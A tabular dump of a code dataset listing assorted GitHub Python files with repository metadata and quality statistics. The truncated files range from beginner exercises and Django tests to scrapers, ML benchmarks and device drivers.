files_moved =... | 37.727273 | 92 | 0.638554 | 246 | 1,660 | 4.130081 | 0.369919 | 0.047244 | 0.029528 | 0.029528 | 0.057087 | 0.057087 | 0.057087 | 0 | 0 | 0 | 0 | 0.004052 | 0.256627 | 1,660 | 44 | 93 | 37.727273 | 0.819287 | 0.280723 | 0 | 0.074074 | 0 | 0 | 0.085521 | 0 | 0 | 0 | 0 | 0.022727 | 0 | 1 | 0 | false | 0 | 0.148148 | 0 | 0.148148 | 0.185185 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7407dcd338f0c898023c04aaa216c45c15fae02b | 247 | py | Python | 1-Python-Programming-Basics (Sep 2020)/Course-Exercises-and-Exams/05_While-Loop/00.Book-Exercises-7.1-Complex-Loops-02-Numbers-N-to-1.py | karolinanikolova/SoftUni-Software-Engineering | 7891924956598b11a1e30e2c220457c85c40f064 | [
"MIT"
] | null | null | null | 1-Python-Programming-Basics (Sep 2020)/Course-Exercises-and-Exams/05_While-Loop/00.Book-Exercises-7.1-Complex-Loops-02-Numbers-N-to-1.py | karolinanikolova/SoftUni-Software-Engineering | 7891924956598b11a1e30e2c220457c85c40f064 | [
"MIT"
] | null | null | null | 1-Python-Programming-Basics (Sep 2020)/Course-Exercises-and-Exams/05_While-Loop/00.Book-Exercises-7.1-Complex-Loops-02-Numbers-N-to-1.py | karolinanikolova/SoftUni-Software-Engineering | 7891924956598b11a1e30e2c220457c85c40f064 | [
"MIT"
] | null | null | null | # числата от N до 1 в обратен ред
# Да се напише програма, която отпечатва числата от n до 1 в обратен ред (стъпка -1).
# Например, ако n = 100, то резултатът ще е: 100, 99, 98, …, 3, 2, 1.
n = int(input())
for i in range(n, 0, -1):
print(i) | 30.875 | 85 | 0.631579 | 51 | 247 | 3.117647 | 0.686275 | 0.113208 | 0.125786 | 0.150943 | 0.301887 | 0.301887 | 0.301887 | 0.301887 | 0 | 0 | 0 | 0.095238 | 0.234818 | 247 | 8 | 86 | 30.875 | 0.730159 | 0.740891 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cda50a569978706c9bec0db5233be29def4df294 | 2,952 | py | Python | src/tests/voluntario/test_api.py | Akijunior/Atados | 255c9c9137e48aa82fdea63f9d6d65a3720c3f92 | [
"MIT"
] | null | null | null | src/tests/voluntario/test_api.py | Akijunior/Atados | 255c9c9137e48aa82fdea63f9d6d65a3720c3f92 | [
"MIT"
] | null | null | null | src/tests/voluntario/test_api.py | Akijunior/Atados | 255c9c9137e48aa82fdea63f9d6d65a3720c3f92 | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model
from django.contrib.auth.models import User
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase, APIClient
from rest_framework.views import status
from voluntario.models import Voluntario
class BaseViewTest(APITestCase):
de... | 42.782609 | 87 | 0.686992 | 341 | 2,952 | 5.718475 | 0.258065 | 0.082051 | 0.064615 | 0.089231 | 0.649744 | 0.637436 | 0.604615 | 0.576923 | 0.576923 | 0.576923 | 0 | 0.019076 | 0.200881 | 2,952 | 68 | 88 | 43.411765 | 0.807546 | 0 | 0 | 0.470588 | 0 | 0 | 0.110095 | 0.02439 | 0 | 0 | 0 | 0 | 0.117647 | 1 | 0.137255 | false | 0.078431 | 0.117647 | 0 | 0.27451 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
cda77d54e2daf57e2851f4a131c3a29a3329d0d5 | 464 | py | Python | reddit/files/setup_cassandra.py | mitodl/reddit-formula | 68c597f5391b8bf960de3d701225de2fc45d04e4 | [
"BSD-3-Clause"
] | null | null | null | reddit/files/setup_cassandra.py | mitodl/reddit-formula | 68c597f5391b8bf960de3d701225de2fc45d04e4 | [
"BSD-3-Clause"
] | 4 | 2017-09-29T18:34:06.000Z | 2018-05-23T19:07:17.000Z | reddit/files/setup_cassandra.py | mitodl/reddit-formula | 68c597f5391b8bf960de3d701225de2fc45d04e4 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
import pycassa
sys = pycassa.SystemManager("cassandra.service.consul:9160")
if "reddit" not in sys.list_keyspaces():
print "creating keyspace 'reddit'"
sys.create_keyspace("reddit", "SimpleStrategy", {"replication_factor": "3"})
print "done"
if "permacache" not in sys.get_keyspace_c... | 30.933333 | 80 | 0.726293 | 57 | 464 | 5.77193 | 0.561404 | 0.030395 | 0.048632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012469 | 0.135776 | 464 | 14 | 81 | 33.142857 | 0.80798 | 0.043103 | 0 | 0.2 | 0 | 0 | 0.395034 | 0.065463 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.1 | null | null | 0.4 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdb4fa7248d3772a040373832306d9f403d71783 | 311 | py | Python | ibm1.py | thovo/ibm1 | df00eca56827e294642d503972f29ab3e139caf0 | [
"MIT"
] | null | null | null | ibm1.py | thovo/ibm1 | df00eca56827e294642d503972f29ab3e139caf0 | [
"MIT"
] | null | null | null | ibm1.py | thovo/ibm1 | df00eca56827e294642d503972f29ab3e139caf0 | [
"MIT"
] | null | null | null | #!/usr/bin/python
__author__ = 'thovo'
import sys
def ibm1():
#Check for arguments
args_length = len(sys.argv)
print "The number of arguments: "+str(args_length)
i = 0
while i < args_length:
print "The argument number " + str(i) + " is " + str(sys.argv[i])
i += 1
ibm1() | 18.294118 | 73 | 0.59164 | 45 | 311 | 3.933333 | 0.6 | 0.169492 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017621 | 0.270096 | 311 | 17 | 74 | 18.294118 | 0.762115 | 0.11254 | 0 | 0 | 0 | 0 | 0.196364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.1 | null | null | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdb943e87aa2338b8600a2d1fc39c5fdf842f690 | 1,022 | py | Python | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | from iris.cli.base import Command, format_docstring, get_command_class
HELP = format_docstring("""
Usage: iris [options] <command> [<args>...]
Iris is the personification of the rainbow and messenger of the gods.
{COMMON_OPTIONS}
Commands:
instance Run a single service instance (one process).
node Run ... | 26.894737 | 77 | 0.671233 | 133 | 1,022 | 5.082707 | 0.556391 | 0.044379 | 0.044379 | 0.079882 | 0.091716 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.251468 | 1,022 | 37 | 78 | 27.621622 | 0.88366 | 0.027397 | 0 | 0 | 0 | 0 | 0.641104 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.208333 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdbc9720aa5c6f9258b24ce41fb35960b581a3f8 | 705 | py | Python | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | from pprint import pprint
import requests
from lxml import etree
def itter(tree):
for ele in tree.iter():
print("##########################")
print("Tag:", ele.tag)
print("Text:", ele.text)
print("Attributes:", ele.attrib)
print("##########################")
def main():
... | 27.115385 | 68 | 0.591489 | 82 | 705 | 4.97561 | 0.52439 | 0.095588 | 0.044118 | 0.058824 | 0.137255 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0.024605 | 0.192908 | 705 | 25 | 69 | 28.2 | 0.692443 | 0.087943 | 0 | 0.1 | 0 | 0 | 0.202808 | 0.081123 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.15 | 0 | 0.25 | 0.45 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
cdc5a62dbf81299334c3372e259e1e6b484185cd | 2,804 | py | Python | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 13 | 2021-03-11T12:35:29.000Z | 2022-02-25T02:22:47.000Z | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 1 | 2021-11-04T03:02:10.000Z | 2021-11-04T03:02:10.000Z | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 4 | 2021-06-12T19:27:01.000Z | 2022-02-04T05:13:54.000Z | import requests
import json
import os
import time
from app01.models import UserTitle
# 爬取个人主页关注用户的id和naame
URL = "https://video.kuaishou.com/graphql"
headers = {
"accept":"*/*",
"Content-Length":"<calculated when request is sent>",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"co... | 43.8125 | 760 | 0.696148 | 277 | 2,804 | 6.898917 | 0.498195 | 0.027211 | 0.03349 | 0.032967 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069111 | 0.153709 | 2,804 | 64 | 761 | 43.8125 | 0.736199 | 0.015692 | 0 | 0 | 0 | 0.041667 | 0.603048 | 0.33164 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.104167 | 0 | 0.1875 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdc633f283f26d40a91533035d25cbe1abaa2d61 | 11,193 | py | Python | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 14 | 2019-06-29T19:19:10.000Z | 2022-03-31T06:40:33.000Z | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 2 | 2019-07-23T22:06:37.000Z | 2019-08-19T22:15:32.000Z | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 5 | 2019-07-23T14:48:48.000Z | 2020-04-01T08:43:00.000Z | import pytest
import importlib
import numba, numba.cuda
import numpy as np
from pybench import run_benchmark
_shapes = {
"small": [(int(2 ** 14), 512), (int(2 ** 15), 512), (int(2 ** 16), 512)],
"large": [(int(2 ** 20), 512), (int(2 ** 21), 512), (int(2 ** 22), 512)],
}
def load_data(nrows, ncols, cached, ... | 26.841727 | 82 | 0.54132 | 1,298 | 11,193 | 4.520801 | 0.131741 | 0.046353 | 0.096626 | 0.067485 | 0.726483 | 0.686605 | 0.65985 | 0.65985 | 0.659509 | 0.640763 | 0 | 0.016055 | 0.298847 | 11,193 | 416 | 83 | 26.90625 | 0.731651 | 0.005807 | 0 | 0.574924 | 0 | 0 | 0.170861 | 0.006651 | 0 | 0 | 0 | 0 | 0 | 1 | 0.061162 | false | 0 | 0.085627 | 0 | 0.155963 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdcc403733cc344ed109e0132f133aabd50b5dc1 | 1,213 | py | Python | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | """ Modified version of ../muvm/registers.py. Will update as needed.
"""
#from rpython.jit.backend.arm.locations import VFPRegisterLocation
#from rpython.jit.backend.arm.locations import SVFPRegisterLocation
#from rpython.jit.backend.arm.locations import RegisterLocation
from rpython.jit.metainterp.history import (Cons... | 25.270833 | 72 | 0.650453 | 143 | 1,213 | 5.286713 | 0.41958 | 0.058201 | 0.074074 | 0.083333 | 0.271164 | 0.271164 | 0.154762 | 0 | 0 | 0 | 0 | 0.005507 | 0.251443 | 1,213 | 47 | 73 | 25.808511 | 0.827093 | 0.15911 | 0 | 0.193548 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0 | null | null | 0 | 0.032258 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdccf6c01653163bb8ca38561bfba641eb360f29 | 834 | py | Python | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | # coding:utf-8
from __future__ import unicode_literals
from __future__ import division
from __future__ import print_function
import os
from src.utils import utils
from src.data_generator import vocabulary
def process(hparam):
utils.raise_inexistence(hparam.tmp_dir)
tokenizer = vocabulary.Tokenizer(segment=h... | 33.36 | 81 | 0.713429 | 121 | 834 | 4.619835 | 0.363636 | 0.096601 | 0.128801 | 0.143113 | 0.245081 | 0.245081 | 0.205725 | 0.148479 | 0 | 0 | 0 | 0.001451 | 0.173861 | 834 | 24 | 82 | 34.75 | 0.809869 | 0.014388 | 0 | 0 | 0 | 0 | 0.056098 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.315789 | 0 | 0.368421 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
cdd4efc2e23f55bb4467b8c8df8e0d1cdd72fa3d | 419 | py | Python | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 1 | 2020-03-30T22:14:21.000Z | 2020-03-30T22:14:21.000Z | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 12 | 2020-04-15T00:00:49.000Z | 2022-02-27T01:26:08.000Z | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 4 | 2020-01-16T11:29:38.000Z | 2020-04-03T09:43:40.000Z | from elasticsearch import Elasticsearch
# TODO: Not implemented yet
es = Elasticsearch(["localhost"], sniff_on_connection_fail=True, sniffer_timeout=60)
def threads_all():
res = es.search(index="mthreads", body={"query": {"match_all": {}}})
print("Got %d Hits:" % res['hits']['total'])
# for hit in res['hi... | 38.090909 | 84 | 0.649165 | 55 | 419 | 4.818182 | 0.745455 | 0.05283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00565 | 0.155131 | 419 | 11 | 85 | 38.090909 | 0.742938 | 0.291169 | 0 | 0 | 0 | 0 | 0.176871 | 0 | 0 | 0 | 0 | 0.090909 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.5 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdd753cdba3af6ee31cf0c550e2ee7e5c881ebc9 | 2,898 | py | Python | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | """
A utility function to generate yaml config for SkyQ media players.
To support easy usage with other home assistant integrations, e.g. google home
"""
import os.path as _path
import yaml
from ..const import CONST_ALIAS_FILENAME
class Switch_Maker:
"""The Switchmaker Class."""
def __init__(self, config_... | 30.1875 | 78 | 0.493444 | 275 | 2,898 | 4.905455 | 0.363636 | 0.088955 | 0.077835 | 0.083024 | 0.07487 | 0.036323 | 0 | 0 | 0 | 0 | 0 | 0.000544 | 0.366115 | 2,898 | 95 | 79 | 30.505263 | 0.733805 | 0.076259 | 0 | 0.027027 | 1 | 0 | 0.14205 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040541 | false | 0 | 0.040541 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cddacc9ad1d4172e5208503da82fc4edfb83363e | 1,870 | py | Python | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | 1 | 2020-03-20T22:19:05.000Z | 2020-03-20T22:19:05.000Z | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | 3 | 2020-02-14T14:36:27.000Z | 2020-04-03T21:06:27.000Z | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | null | null | null | # This is mostly a repeat of model.setup from the pygemini repository except for that it setups up a periodic
# grid for us in full-globe simulations.
from __future__ import annotations
import argparse
from pathlib import Path
import typing as T
import shutil
import os
from gemini3d.config import read_nml
import g... | 29.68254 | 109 | 0.652941 | 267 | 1,870 | 4.456929 | 0.41573 | 0.040336 | 0.030252 | 0.02521 | 0.028571 | 0.028571 | 0.028571 | 0 | 0 | 0 | 0 | 0.006228 | 0.227273 | 1,870 | 62 | 110 | 30.16129 | 0.817301 | 0.279144 | 0 | 0.058824 | 0 | 0 | 0.172678 | 0 | 0 | 0 | 0 | 0.016129 | 0 | 1 | 0.029412 | false | 0 | 0.235294 | 0 | 0.264706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cddcaaf10bf47f30133fae7ab0e9db139ac2e1cc | 1,789 | py | Python | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 11 | 2017-03-01T18:00:30.000Z | 2021-12-10T05:11:02.000Z | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 397 | 2016-07-08T14:39:46.000Z | 2022-03-30T12:45:09.000Z | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 14 | 2016-07-13T08:33:28.000Z | 2020-04-22T21:42:21.000Z | from . import base
from mock import patch
import decorators
class TestDecorators(base.BaseCase):
@patch('decorators.LOG.info')
def test_timeit_smoke_test(self, info):
@decorators.timeit
def some_task(param, **kwargs):
pass
some_task(42, option='value')
(args, _) = in... | 38.06383 | 97 | 0.653438 | 215 | 1,789 | 5.24186 | 0.297674 | 0.119787 | 0.056788 | 0.04614 | 0.406389 | 0.406389 | 0.354925 | 0.282165 | 0.193434 | 0.193434 | 0 | 0.017495 | 0.20123 | 1,789 | 46 | 98 | 38.891304 | 0.771169 | 0 | 0 | 0.102564 | 0 | 0 | 0.188373 | 0.039128 | 0 | 0 | 0 | 0 | 0.307692 | 1 | 0.205128 | false | 0.025641 | 0.076923 | 0 | 0.358974 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cde0f842eb62a19de3f38d4d8d1f8ff65a2ce325 | 10,538 | py | Python | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | null | null | null | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | 1 | 2019-10-22T21:28:31.000Z | 2019-10-22T21:39:12.000Z | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | 2 | 2019-06-06T15:06:46.000Z | 2020-07-20T02:03:22.000Z | """
Ramsay RSG1000B RF Signal Generator, controlled via RS-323 interface
See: Ramsay RSG1000B RF Signal Generator User Guide, p.10-11
Settings: 9600 baud, 8 bits, parity none, stop bits 1, flow control none
DB09 connector pin 2 = TxD, 3 = RxD, 5 = Ground
The controller accepts unterminate ASCII text commands and gene... | 36.089041 | 101 | 0.584836 | 1,336 | 10,538 | 4.492515 | 0.217814 | 0.027991 | 0.029324 | 0.011996 | 0.21043 | 0.145951 | 0.122626 | 0.118794 | 0.088304 | 0.064312 | 0 | 0.01377 | 0.303948 | 10,538 | 291 | 102 | 36.213058 | 0.804499 | 0.037294 | 0 | 0.15566 | 0 | 0 | 0.10648 | 0.010096 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.09434 | null | null | 0.023585 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cde603f7c8844ec9a35ff25bb6a1c13b5f4bbf79 | 819 | py | Python | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
"MIT"
] | null | null | null | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
"MIT"
] | null | null | null | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
"MIT"
] | null | null | null | import json
def save_json(dict_, json_filepath):
''' [Example] Write JSON '''
'''
dict_ = {"0":{"title":"test-A", "is-available": False, "link":"https://www.AAA.XXX..."},
"1":{"title":"test-B", "is-available": True, "link":"https://www.BBB.XXX..."}}
with open("dict_.txt", 'w') as output_fi... | 31.5 | 92 | 0.570208 | 108 | 819 | 4.074074 | 0.351852 | 0.109091 | 0.086364 | 0.068182 | 0.4 | 0.4 | 0.4 | 0.4 | 0.4 | 0.240909 | 0 | 0.003195 | 0.235653 | 819 | 26 | 93 | 31.5 | 0.699681 | 0.089133 | 0 | 0 | 0 | 0 | 0.006472 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdeb4f70b3a53f9cb3413cfdc25708394eec070f | 329 | py | Python | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | 1 | 2021-03-02T08:04:25.000Z | 2021-03-02T08:04:25.000Z | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | null | null | null | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | null | null | null | # -*- utf-8 -*-
import random
import redis
import requests
def GetIps():
li = []
# url = 'http://122.51.95.201:8000/?country=国内&count=20'
url = 'http://127.0.0.1:8000/?country=国内&count=20'
ips = requests.get(url)
for ip in eval(ips.content):
li.append(ip[0]+':'+str(ip[1]))
return li
# ... | 20.5625 | 60 | 0.580547 | 53 | 329 | 3.603774 | 0.622642 | 0.073298 | 0.136126 | 0.188482 | 0.209424 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118774 | 0.206687 | 329 | 15 | 61 | 21.933333 | 0.613027 | 0.234043 | 0 | 0 | 0 | 0 | 0.173387 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.3 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdeb9ce72d1bf949c4fdc2a94b43168b90c61e61 | 876 | py | Python | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
] | 2 | 2019-04-18T12:28:58.000Z | 2021-01-04T14:52:07.000Z | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
